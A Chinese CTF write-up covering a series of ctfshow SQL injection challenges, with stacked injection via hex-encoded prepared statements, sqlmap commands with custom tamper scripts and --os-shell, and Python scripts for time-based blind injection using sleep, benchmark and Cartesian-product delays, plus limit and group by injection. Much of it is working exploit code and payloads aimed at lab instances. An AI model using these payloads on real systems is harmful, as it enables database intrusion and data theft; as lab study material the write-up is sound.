有过滤的堆叠注入,这次把禁用的字符放进了表里,测试发现 226 的 payload 还能用,依旧能用,我们就着重分析226即可。
1 2 3 4 5 6 7 8 9 10 11 12 $sql = "select id,username,pass from ctfshow_user where username = '{$username} ';" ; if (count ($banlist )>0 ){ foreach ($banlist as $char ) { if (preg_match ("/" .$char ."/i" , $username )){ die (json_encode ($ret )); } } }
看226,他比我们225多禁了 show 和( , 既然如此,我们的concat 和 char 也不能用了(因为在使用时需要括号嘛)
既然如此,我们可以继续使用预处理即可(为啥不用handler?因为我们拿到表名才行,handler不能,show和小括号被ban了)
预处理关键字使用16进制绕过就行,注意在16进制前面加上0x,不然系统不知道咋解析
16进制转换在线
当然自己写脚本转换16进制也行,手注可以用上面那个网站转换一下
解法 – 预处理 exp 还是自己写了一个简单脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requestsurl = "http://447de7ae-8c54-4cd2-a268-4b591f577cd7.challenge.ctf.show/api/" def payload_maker (sql : str )->str : return f"Cirno';prepare koishi from 0x{sql.encode().hex ()} ;execute koishi;--+" if __name__ == '__main__' : params = { "username" :payload_maker("select * from ctfsh_ow_flagas" ) } response=requests.get(url=url,params=params) print (response.text)
over
227(堆叠-MySQL存储过程和函数) 看看题
1 2 3 4 5 6 7 $sql = "select id,username,pass from ctfshow_user where username = '{$username} ';" ; if (preg_match ('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|db|\,/i' ,$username )){ die (json_encode ($ret )); }
看限制好像没啥区别,变化不痛不痒,之前的预处理还是可以用,但是居然不在数据库中,上传shell(可以用sqlmap,或者那个预处理脚本16进制绕过限制,用file into上传shell),依旧找不到flag。题目也没有任何提示,淦!看其他师傅的题解,原来是我又有知识盲点了
学习知识点 (37条消息) MySQL——查看存储过程和函数_时光·漫步zth的博客-CSDN博客_mysql 查看存储函数
查看存储过程和函数的信息 在 MySQL 中,存储过程和函数的信息存储在 information_schema 数据库下的 Routines 表中,可以通过查询该表的记录来查询存储过程和函数的信息,其基本的语法形式如下:
1 SELECT * FROM information_schema.Routines WHERE ROUTINE_NAME = ' sp_name ' ;
其中,ROUTINE_NAME 字段中存储的是存储过程和函数的名称; sp_name 参数表示存储过程或函数的名称。
payload 1 select * from information_schema.routines;
因为还是有过滤,所以我们还是接着使用226的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import requestsimport textwrapurl = "http://baf02cec-8845-40f5-94e8-e6680a19a03e.challenge.ctf.show/api/" def payload_maker (sql : str )->str : return f"Cirno';prepare koishi from 0x{sql.encode().hex ()} ;execute koishi;--+" if __name__ == '__main__' : params = { "username" :payload_maker("call getFlag()" ) } response=requests.get(url=url,params=params) print (textwrap.fill(response.text, 150 ))
这里可以看见 getFlag这个自定义的函数,而且他居然连flag都给了,淦
如果其他时候没有写的这么明显,可以使用call函数来调用函数,上面脚本也有写 (但是使用的预处理16进制的方式,由于没过滤call,我们可以简简单单的朴素的进行一手堆叠注入就行)
1 /api/?username=koishi';call getFlag();
sqlmap使用系统学习 201-206(没啥自己动手的地方) (agent、referer) 题目提示
使用–user-agent 指定agent
使用–referer 绕过referer检查
例如:
1 python sqlmap.py -u http://e6892756-6d65-47f6-baf8-5617a68a1b0f.challenge.ctf.show/api/?id=1 --user-agent sqlmap --referer ctf.show
1 2 3 4 5 6 7 8 9 10 11 python sqlmap.py -u http://e6892756-6d65-47f6-baf8-5617a68a1b0f.challenge.ctf.show/api/?id =1 --user-agent sqlmap --referer ctf.show python sqlmap.py -u http://e6892756-6d65-47f6-baf8-5617a68a1b0f.challenge.ctf.show/api/?id =1 --user-agent sqlmap --referer ctf.show -dbs python sqlmap.py -u http://e6892756-6d65-47f6-baf8-5617a68a1b0f.challenge.ctf.show/api/?id =1 --user-agent sqlmap --referer ctf.show -D "ctfshow_web" --tables python sqlmap.py -u http://e6892756-6d65-47f6-baf8-5617a68a1b0f.challenge.ctf.show/api/?id =1 --user-agent sqlmap --referer ctf.show -D "ctfshow_web" -T "ctfshow_user" --dump
post 方式提交数据 使用post方式进行注入,可以直接用--data="id=1"
,也可以--method=post
来触发
(有些时候url带上双引号不会出问题,有些时候又会出问题,奇奇怪怪,要是提示host not find 就把双引号删吧删吧)
1 2 3 4 5 6 7 8 9 第一步用--data调整参数 python sqlmap.py -u http://69c5a44d-b5e5-47b2-a8dd-a87006ae618d.challenge.ctf.show/api/ --referer="ctf.show" --data="id=1" 第二步 python sqlmap.py -u http://69c5a44d-b5e5-47b2-a8dd-a87006ae618d.challenge.ctf.show/api/ --referer="ctf.show" --data="id=1" --dbs 第三步 python sqlmap.py -u http://69c5a44d-b5e5-47b2-a8dd-a87006ae618d.challenge.ctf.show/api/ --referer="ctf.show" --data="id=1" -D "ctfshow_web" --tables 第四步 (--dump是列字段值,也可以单独带上列名,重新写一句,使用列名参数前的字符是: -C ) python sqlmap.py -u http://69c5a44d-b5e5-47b2-a8dd-a87006ae618d.challenge.ctf.show/api/ --referer="ctf.show" --data="id=1" -D "ctfshow_web" -T "ctfshow_user" --columns --dump
put 请求方式 –method 指定 put 请求方式,url 要带 index.php(这个应该是这个题的限制),还要加上 –headers=”Content-Type: text/plain” 便于 put 接收表单参数,一定要加上–headers=“Content-Type: text/plain” ,否则是按表单提交的,put接收不到
1 2 3 4 5 6 7 8 python sqlmap.py -u http://6837fe82-c4cc-40ec-9804 -27f49ab108e4.challenge.ctf.show:8080 /api/index.php --method=PUT --data="id=1" --headers="Content-Type:text/plain" --referer="ctf.show" --dbs python sqlmap.py -u http://6837fe82-c4cc-40ec-9804 -27f49ab108e4.challenge.ctf.show:8080 /api/index.php --method=PUT --data="id=1" --headers="Content-Type:text/plain" --referer="ctf.show" -D ctfshow_web --tables python sqlmap.py -u http://6837fe82-c4cc-40ec-9804 -27f49ab108e4.challenge.ctf.show:8080 /api/index.php --method=PUT --data="id=1" --headers="Content-Type:text/plain" --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns (这里就是上一题说到的单独写一句。但是明明可以一下写完,何必呢) python sqlmap.py -u http://6837fe82-c4cc-40ec-9804 -27f49ab108e4.challenge.ctf.show:8080 /api/index.php --method=PUT --data="id=1" --headers="Content-Type:text/plain" --referer="ctf.show" -D ctfshow_web -T ctfshow_user -C pass --dump
__cookie 使用–cookie 带上 PHPSESSID(F12),其余不变。
1 2 3 4 5 python sqlmap.py -u http://80489c9e-aacb-4f78-b399-c43b9dfb4f3d.challenge.ctf.show/api/index.php --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=72enlin9c8r1o7ffnq16sd3a52; ctfshow=a5ee758751b072ac4b2ec52827ba7c50" --referer="ctf.show" 剩下的自己搭配就行了=。= 还有就是切记不要刷新页面(我在做题的时候怕容器被关了,时不时刷新看看,结果前几次sqlmap都没成功,因为刷新之后会改变cookie,粗心大意给忘了)
_权限 (好像还是put方法,其他方法我没试过(好像有type=text就是put?),主要是sqlmap还是有点点慢)
每次在进行查询之前都会先访问一次 url/api/getToken.php,否则会返回 api 鉴权失败。
先看题提示
通过抓包分析,在每次请求url/api/index.php
之前需要先请求URL/api/getTokn.php
,可以用burpsuite抓包看看确实是这么回事
–safe-url 设置在测试目标地址前访问的安全链接–safe-freq 设置两次注入测试前访问安全链接的次数
(或者查看日志发现 /api/getToken.php 的访问)
所以我们需要两个参数
设置参数 –safe-url 和 –safe-freq 在调用 api 前访问 token 链接。
–safe-url 设置在测试目标地址前访问的安全链接 –safe-freq 设置两次注入测试前访问安全链接的次数
1 2 3 4 python sqlmap.py -u http://43ba86e5-c013-4491 -84bc-7de872c19b94.challenge.ctf.show/api/index.php --referer=ctf.show --cookie="PHPSESSID=umd7ocdluu007vvfk4t37e03pe;" --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url=http://43ba86e5-c013-4491 -84bc-7de872c19b94.challenge.ctf.show/api/getToken.php --safe-freq=1 后面的也不多写了,自己换就ok
_闭合 sqlmap会帮我们自动闭合的,不用管。CTFer勇敢飞,sqlmap永相随 :)
207-213(需要自己写tamper) tamper绕过空格 题目提示要用 –tamper 加载自己写的 tamper
1 2 3 4 5 6 7 $sql = "select id,username,pass from ctfshow_user where id = ('" .$id ."') limit 0,1;" ; function waf ($str ) { return preg_match ('/ /' , $str ); }
看代码是过滤了空格
1.使用自带的tamper 我们看看自带的和空格有关的tamper,发现有很多,这里使用 sapce2comment 绕过。
1 python sqlmap.py -u http://bc2af829-2f3c-4060-b63c-101630fdfe14.challenge.ctf.show/api/index.php --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="http://bc2af829-2f3c-4060-b63c-101630fdfe14.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=space2comment
常用的tamper有:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 apostrophemask.py 用utf8代替引号 equaltolike.py MSSQL * SQLite中like 代替等号 greatest.py MySQL中绕过过滤’>’ ,用GREATEST替换大于号 space2hash.py 空格替换为#号 随机字符串 以及换行符 space2comment.py 用/**/代替空格 apostrophenullencode.py MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL绕过过滤双引号,替换字符和双引号 halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论 space2morehash.py MySQL中空格替换为 #号 以及更多随机字符串 换行符 appendnullbyte.py Microsoft Access在有效负荷结束位置加载零字节字符编码 ifnull2ifisnull.py MySQL,SQLite (possibly),SAP MaxDB绕过对 IFNULL 过滤 space2mssqlblank.py mssql空格替换为其它空符号 base64encode.py 用base64编码 space2mssqlhash.py mssql查询中替换空格 modsecurityversioned.py mysql中过滤空格,包含完整的查询版本注释 space2mysqlblank.py mysql中空格替换其它空白符号 between.py MS SQL 2005,MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0中用between替换大于号(>) space2mysqldash.py MySQL,MSSQL替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’) multiplespaces.py 围绕SQL关键字添加多个空格 space2plus.py 用+替换空格 bluecoat.py MySQL 5.1, SGOS代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like nonrecursivereplacement.py 双重查询语句。取代predefined SQL关键字with表示 suitable for替代 space2randomblank.py 代替空格字符(“”)从一个随机的空白字符可选字符的有效集 sp_password.py 追加sp_password’从DBMS日志的自动模糊处理的26 有效载荷的末尾 chardoubleencode.py 双url编码(不处理以编码的) unionalltounion.py 替换UNION ALL SELECT UNION SELECT charencode.py Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0url编码; randomcase.py Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0中随机大小写 unmagicquotes.py 宽字符绕过 GPC addslashes randomcomments.py 用/**/分割sql关键字 charunicodeencode.py ASP,ASP.NET中字符串 unicode 编码 securesphere.py 追加特制的字符串 versionedmorekeywords.py MySQL >= 5.1.13注释绕过 halfversionedmorekeywords.py MySQL < 5.1中关键字前加注释
2.自己写一个tamper Sqlmap Tamper 编写 - Y4er的博客
基本tamper格式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import PRIORITY__priority__ = PRIORITY.LOW def dependencies (): pass def tamper (payload, **kwargs ): return payload
编写好之后放在tamper文件夹里面即可(假设我们写的脚本名为my.py),使用时用参数 --tamper=my
tamper绕过等号 题目过滤
1 2 3 4 5 6 7 8 $sql = "select id,username,pass from ctfshow_user where id = '" .$id ."' limit 0,1;" ; function waf ($str ) { return preg_match ('/ |\*|\=/' , $str ); }
自己写的tamper(写的比较简单=。= )
1 2 3 4 5 6 7 8 9 10 from lib.core.enums import PRIORITY__priority__ = PRIORITY.NORMAL def dependencies (): pass def tamper (payload, **kwargs ): return payload.replace("=" , " like " ).replace(" " , chr (0x09 ))
payload(每个payload都是自己跑过的,能行)
1 2 3 4 5 6 python sqlmap.py -u http://279072f9-ae8f-4679-878d-c27582903424.challenge.ctf.show/api/index.php --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=2ogfogma59tankn0mes95of14u;" --referer=ctf.show --safe-url="http://279072f9-ae8f-4679-878d-c27582903424.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="koishi_=toLike" 后续还是不多bb --dbs -D -D -T --columns --dump
tamper加密解密 (学习过程中发现自己的python语法的愈加熟练了 大概=。=)
1.看题目 1 2 3 4 5 6 7 $sql = "select id,username,pass from ctfshow_user where id = '" .$id ."' limit 0,1;" ; function decode ($id ) { return strrev (base64_decode (strrev (base64_decode ($id )))); }
2.思考 这里对id的处理:base64解码 -> 逆序 -> base64解码 -> 逆序
所以我们传入的id要让他被还原为正确的id
做法 :
1 2 3 base64_decode (string $data , bool $strict = false )
1 2 3 4 5 base64.b64encode(base64.b64encode(payload[::-1 ].encode()).decode()[::-1 ].encode()).decode() 或 base64.b64encode(base64.b64encode(payload[::-1 ].encode())[::-1 ]).decode()
3.编写tamper 1 2 3 4 5 6 7 8 9 10 11 import base64from lib.core.enums import PRIORITY__priority__ = PRIORITY.NORMAL def dependencies (): pass def tamper (payload, **kwargs ): return base64.b64encode(base64.b64encode(payload[::-1 ].encode()).decode()[::-1 ].encode()).decode()
4.payload (这里我把url的双引号去掉了,又反而不行了,加上才行,奇奇怪怪)
1 2 python sqlmap.py -u "http://13543e7f-244a-4b6e-9c86-578a363b0156.challenge.ctf.show/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=3c40sipvi2amochjb0mpj9d9dq;" --referer=ctf.show --safe-url="http://13543e7f-244a-4b6e-9c86-578a363b0156.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="Koishi_base64"
后面紧接着的题本质上差不多,tamper我也一起放这了
编码加上绕过空格
1 2 3 4 5 6 7 8 9 10 11 12 13 import base64from lib.core.enums import PRIORITY__priority__ = PRIORITY.NORMAL def dependencies (): pass def tamper (payload, **kwargs ): return base64.b64encode(base64.b64encode(payload.replace(" " , chr (0x09 ))[::-1 ].encode()).decode()[::-1 ].encode()).decode()
使用–os-shell 一键getshell 和上一题完全一样,但 flag 不在表里,而是在文件里面
payload
1 2 3 4 5 6 7 python sqlmap.py -u http://99b165f7-12bb-4521-88a8-142179c10dd6.challenge.ctf.show/api/index.php --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=2aei120afjs82guplv4o6frefj;" --referer=ctf.show --safe-url="http://99b165f7-12bb-4521-88a8-142179c10dd6.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="Koishi_base64AndSpace" python sqlmap.py -u http://99b165f7-12bb-4521-88a8-142179c10dd6.challenge.ctf.show/api/index.php --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=2aei120afjs82guplv4o6frefj;" --referer=ctf.show --safe-url="http://99b165f7-12bb-4521-88a8-142179c10dd6.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="Koishi_base64AndSpace" --dbs python sqlmap.py -u http://99b165f7-12bb-4521-88a8-142179c10dd6.challenge.ctf.show/api/index.php --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=2aei120afjs82guplv4o6frefj;" --referer=ctf.show --safe-url="http://99b165f7-12bb-4521-88a8-142179c10dd6.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="Koishi_base64AndSpace" -D "ctfshow_web" --tables python sqlmap.py -u http://99b165f7-12bb-4521-88a8-142179c10dd6.challenge.ctf.show/api/index.php --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=2aei120afjs82guplv4o6frefj;" --referer=ctf.show --safe-url="http://99b165f7-12bb-4521-88a8-142179c10dd6.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="Koishi_base64AndSpace" -D "ctfshow_web" -T "ctfshow_user" --columns --dump
执行之后发现不在数据库中
使用–os-shell来获取shell
1 python sqlmap.py -u http://99b165f7-12bb-4521-88a8-142179c10dd6.challenge.ctf.show/api/index.php --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=2aei120afjs82guplv4o6frefj;" --referer=ctf.show --safe-url="http://99b165f7-12bb-4521-88a8-142179c10dd6.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="Koishi_base64AndSpace" --os-shell
成功之后就可以执行命令了,我们看看根目录的文件,发现有疑似flag的文件,于是我们接着cat看看,于是拿到flag
时间盲注 214(整数型)
在首页的select.js中发现向/api/ post了两个参数,一个是ip,一个是debug
经过手动测试,参数ip可以进行sql注入,如下会有延迟(注意修改一下url为 url/api/index.php ):
1 ip= 1 or if(substr((select version()),0 ,1 )!= 1 ,sleep(5 ),0 ) && debug= 1
经此发现ip这个盲注点,无任何过滤,和布尔盲注都差不多,简简单单写个脚本 ( 在向url传data的时候需要多加个参数 ) ok
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import requestsurl = "http://81b0a990-674c-43d1-824d-691e83fed9ad.challenge.ctf.show/api/" payload = "if(ascii(mid((select group_concat(flaga) from ctfshow_flagx),{},1))>{},sleep(5),1)" def valid_char (index: int , ascii : int ) -> bool : data = { "ip" : payload.format (index, ascii ), "debug" : 0 } try : _ = requests.post(url, data=data, timeout=2 ) except : return True return False result = "" i = 1 print ("天才琪露诺小姐正在努力查询中。◕‿◕。\n" )while True : start = 32 end = 127 while not (abs (start - end) == 1 or start == end): p = (start + end) // 2 if valid_char(i, p): start = p else : end = p if end < start: end = start result += chr (end) print (f"\r[+] flag: {result} " , end="" ) i += 1 if chr (end) == "}" : break ; print ("\n⑨:果然咱是天下第一聪明 (◍•ᴗ•◍)❤ " )
215(字符型) 题目说是说的查询语句用了单引号,于是在上一题的payload的前加上1’ or 和最后加个# 就行了
看环境给的回显,发现确实sql查询是有单引号的,注入尝试也成功,说明没有任何过滤
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import requestsurl = "http://18429070-826b-47e0-87b2-cde39e9c927f.challenge.ctf.show/api/" payload = "koishi' or if(ascii(mid((select flagaa from ctfshow_flagxc),{},1))>{},sleep(4),1) #" def valid_char (index: int , ascii : int ) -> bool : data = { "ip" : payload.format (index, ascii ), "debug" : 0 } try : _ = requests.post(url, data=data, timeout=2 ) except : return True return False result = "" i = 1 print ("天才琪露诺小姐正在努力查询中。◕‿◕。\n" )while True : start = 32 end = 127 while not (abs (start - end) == 1 or start == end): p = (start + end) // 2 if valid_char(i, p): start = p else : end = p if end < start: end = start result += chr (end) print (f"\r[+] flag: {result} " , end="" ) i += 1 if chr (end) == "}" : break ; print ("\n⑨:果然咱是天下第一聪明 (◍•ᴗ•◍)❤ " )
时间盲注有一定的网络环境要求,要是发现注入结果有问题,就适当修改延时时间和timeout的大小,条件良好的情况下,时间短跑得快
216(对查询对象使用了带括号的函数) 题目给的查询方式
1 2 where id = from_base64 ($id );
尝试注入语句
1 ip= 'MQ==' ) or if(substr((select version()),0 ,1 )!= 1 ,sleep(5 ),0 ) #&& debug= 1
( MQ== 是1的base64)
对于这种带括号的需要注意:
1.闭合括号
2.参数要用引号(我开始就没注意到,就一直不成功,淦!)
修改一下之前的exp就能行了
这里不写了
217(sleep已经GG) 查看过滤
1 2 3 4 function waf ($str ) { return preg_match ('/sleep/i' ,$str ); }
之前一直都没管 php 的 preg_match 函数,这里对它的几个常见参数记录一下
1 2 3 /u 表示按unicode(utf-8)匹配(主要针对多字节比如汉字) /i 表示不区分大小写(如果表达式里面有 a, 那么 A 也是匹配对象) /s 表示将字符串视为单行来匹配
返回逻辑部分禁用了 sleep,还可以用 benchmark 和笛卡尔积。
使用benchmark 函数去尝试注入时间(每个payload都最好单独测一下,这里只写flag那个)
1 ip=(if (ascii (mid ((select group_concat (flagaabc) from ctfshow_flagxccb),1 ,1 ))>1 ,benchmark (40000000 ,'koishi' ='Cirno' ),1 ))&debug=0
(因为个人癖好,这里的benchmark 里面使用的有字符串,如果引号被过滤的话,使用1=1这种整数比较或者换成其他的可执行的语句都行)
执行一次大概需要2秒,我们就可以根据这个来时间盲注了
exp 本脚本是参考其他师傅写的,那位师傅的脚本费事太长了,于是我对其进行了修改
原本的 timeout为3, sleep为10 (因为他的benchmark 太费时了,10s左右),benchmark 为 benchmark(8000000,md5(0x31))
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import timeimport requestsurl = "http://77278e61-fbea-4a6d-87ce-b0067f5cbbc0.challenge.ctf.show/api/" payload = "if(ascii(mid((select group_concat(flagaabc) from ctfshow_flagxccb),{},1))>{},benchmark(40000000,'koishi'='Cirno'),1)" def valid_char (index: int , ascii : int ) -> bool : data = { "ip" : payload.format (index, ascii ), "debug" : 0 } try : _ = requests.post(url, data=data, timeout=1.5 ) except : return True return False result = "" i = 1 while True : start = 32 end = 127 while not (abs (start-end) == 1 or start == end): p = (start + end) // 2 if valid_char(i, p): start = p time.sleep(3 ) else : end = p if end < start: end = start result += chr (end) print (f"[*] result: {result} " ) i += 1 if chr (end) == '}' : break
由于这个东西比较吃网速,如果出现问题,适当延长sleep的时间长度
218-219(sleep和benchmark被禁) (219多过滤了rlike,和我们的笛卡尔积关系不大)
看题目过滤
1 2 3 4 5 6 where id = ($id ); function waf ($str ) { return preg_match ('/sleep|benchmark/i' ,$str ); }
使用笛卡尔积
SQL注入经验-大负荷注入 - 腾讯云开发者社区-腾讯云 (tencent.com)
通过采用 1 个表 2 个列,或者 2 个列一个表,等等各种组合找出合适的延时的时间。
参考别人师傅写好的exp
exp 经过测试,利用 information_schema
中的数据,一个 columns
和两个 tables
的笛卡尔积刚好能延时 6 秒左右,适合构造 payload。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import timeimport requestsurl = "http://af34bdbe-291d-4bad-b112-ca31adbcc85a.challenge.ctf.show/api/" payload = "ascii(mid((select flagaac from ctfshow_flagxc),{},1))>{}" def valid_payload (p:str ) -> bool : data = { "debug" :0 , "ip" : f"if({p} ,(select count(*) from information_schema.columns A,information_schema.tables B,information_schema.tables C),1) " } time_s = time.time() _ = requests.post(url=url,data=data) time_e = time.time() return time_e-time_s > 4 index = 1 result = "" print ("少女折寿中: " )while True : start = 32 end = 127 while not (abs (start-end)==1 or start == end): everage = (start + end) // 2 if valid_payload(payload.format (index, everage)): start = everage else : end = everage if end<start: end = start result += chr (end) print (f"\r flag is : {result} " ,end="" ) index += 1 if chr (end) == "}" : break print ("\n⑨酱使命完成" )
亲自尝试也确实是6s
payload
1 ip= if(ascii(mid((select flagaac from ctfshow_flagxc),1 ,1 ))> 32 ,(select count (* ) from information_schema.columns A,information_schema.tables B,information_schema.tables C),1 )& debug= 0
除了information_schema.columns 和 information_schema.table可以使用,同样information_schema.schemata也能使用m-,但是它的count数肯定不如前面那两个多,反正自己组合吧,我尝试了
1 ip= if(ascii(mid((select flagaac from ctfshow_flagxc),1 ,1 ))> 32 ,(SELECT count (* ) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D,information_schema.schemata E,information_schema.schemata F),1 )& debug= 0
延时大概是1.4s左右(这个就需要网速比较好才不会出问题,但跑起来比之前那个省较多时间(触发延时的时候比较短,总体节省3-4分钟吧)。但是时间短了,就一定一定要注意网络不要波动太大,不然老老实实用上面的那个吧),再加到G就是7s了,还不如上面的那个
也就只是改了一下payload,嘛,还是贴一下,方便复制粘贴(还是容易出错,毕竟时间太短了,假如某个时间网卡一下,flag就错了)
(还是建议用上面那个时间长一点的,这个就当拓展思维了,要是能凑出4s左右的应该也可以用。这个自己手动调整也能用)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import timeimport requestsurl = "http://2ed44bf1-af80-4d14-886c-50ce08dda8f6.challenge.ctf.show/api/" payload = "ascii(mid((select flagaac from ctfshow_flagxc),{},1))>{}" def valid_payload (p:str ) -> bool : data = { "debug" :0 , "ip" : f"if({p} ,(SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D,information_schema.schemata E,information_schema.schemata F),1) " } time_s = time.time() _ = requests.post(url=url,data=data) time_e = time.time() return time_e-time_s > 0.9 result = "" index = 1 + len (result) print ("少女折寿中: " )while True : start = 32 end = 127 while not (abs (start-end)==1 or start == end): everage = (start + end) // 2 if valid_payload(payload.format (index, everage)): start = everage else : end = everage if end<start: end = start result += chr (end) print (f"\r flag is : {result} " ,end="" ) index += 1 if chr (end) == "}" : break print ("\n⑨酱使命完成" )
220(多禁了substr和concat) 还是看看过滤
1 2 3 4 5 function waf ($str ) { return preg_match ('/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i' ,$str ); }
因为多禁了concat,所以之前我们使用left等替换mid、substr,依旧可行,但是需要配合limit一个一个查来绕过concat的限制
然后之前的限制依旧未解除,还是使用笛卡尔积(这里我使用的网速要求较低的。之前那个跑出来还是有问题,分段跑还行,半自动吧,看着它卡着不动了,就是当前末尾的不对,导致下一个也不能匹配,除去下一个之后,调整一下index和result重新接着跑就行)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import stringimport timeimport requestsurl = "http://bbd0ffd9-1926-4091-8fc7-73399a2a4f0a.challenge.ctf.show/api/" payload = "left((select flagaabcc from ctfshow_flagxcac limit 0,1),{})='{}'" def valid_payload (p: str ) -> bool : data = { "debug" : 0 , "ip" : f"if({p} ,(select count(*) from information_schema.columns A,information_schema.tables B," f"information_schema.tables C),1) " } time_s = None time_e = None while True : time_s = time.time() try : _ = requests.post(url, data=data) except : continue time_e = time.time() break return time_e-time_s > 4 letters = "{}_-" + string.ascii_lowercase + string.digits index = 1 result = "" while True : for letter in letters: load = payload.format (index, result + letter) if valid_payload(load): result += letter break print (f"[*] result: {result} " ) index += 1 if result[-1 ] == "}" : break
其他子句注入 limit 注入 资料1 此方法适用于MySQL 5.x中,在limit语句后面的注入 (应该是5.6以上修复了)
可参考文章: [转载]Mysql下Limit注入方法 | 离别歌 (leavesongs.com)
看文章讨论
所以在procedure里面我们还是写 extractvalue() 而不用 select() 吧,这样版本限制要弱一些,可利用机会更多
资料2 查看另外师傅的博客
mysql语句:select * from limit test limit 1,[可控点] or select … limit [可控点]
limit后面能够拼接的函数只有into和procedure,into可以用来写文件,本文我们不考虑。在Limit后面 可以用 procedure analyse()这个子查询,而且只能用extractvalue 和 benchmark 函数进行延时
procedure analyse(updatexml(rand(),concat(0x3a,benchmark(10000000,sha1(1)))),1)
演示
select field from user where id >0 order by id limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
时间盲注
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
注意看,我们可利用的注入位置是limit 的两个数字之后的位置,不是哪里都可以插procedure analyse的
221 1 2 3 4 5 6 7 8 查询语句 $sql = select * from ctfshow_user limit ($page -1 )*$limit ,$limit ; 返回逻辑
看题,我们的注入点在limit处,而且可以利用
利用 procedure analyse 构造参数。
payload
1 /api/?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1)
这里的page 1-1=0,相当于只有后面的limit语句了
拼接之后的sql语句
1 $sql = select * from ctfshow_user limit 0 ,1 procedure analyse(extractvalue(rand(),concat(0x3a ,database())),1 );
group by注入 资料 (gruop by 的报错注入)
CTF-sql-mysql group by报错注入 - 浅易深 - 博客园 (cnblogs.com)
select count(*) from information_schema.tables group by concat(database(),floor(rand(0)*2));
1 2 3 4 5 一定可以注入成功(要成功注入,前提表中的记录数至少为三条) - ```sql select count(*) from information_schema.tables group by concat(database(),floor(rand()*2));却不一定了吧。
(要成功注入,前提表中的记录数至少为两条)
222 (group by 时间盲注,我试了一下报错注入好像不行,不知道为啥,可能是学艺不精)
还是先看题
1 2 3 4 5 6 查询语句 $sql = select * from ctfshow_user group by $username ; 过滤
知道了gruop by 的注入原理之后,可以使用之前的时间盲注脚本,这里以笛卡尔积的脚本演示
(大致就是group by 会执行by后面的语句(要知道怎么排序所以需要执行呗),然后会爆错,信息会出现在报错中,能带出信息最好,不行就盲注呗)
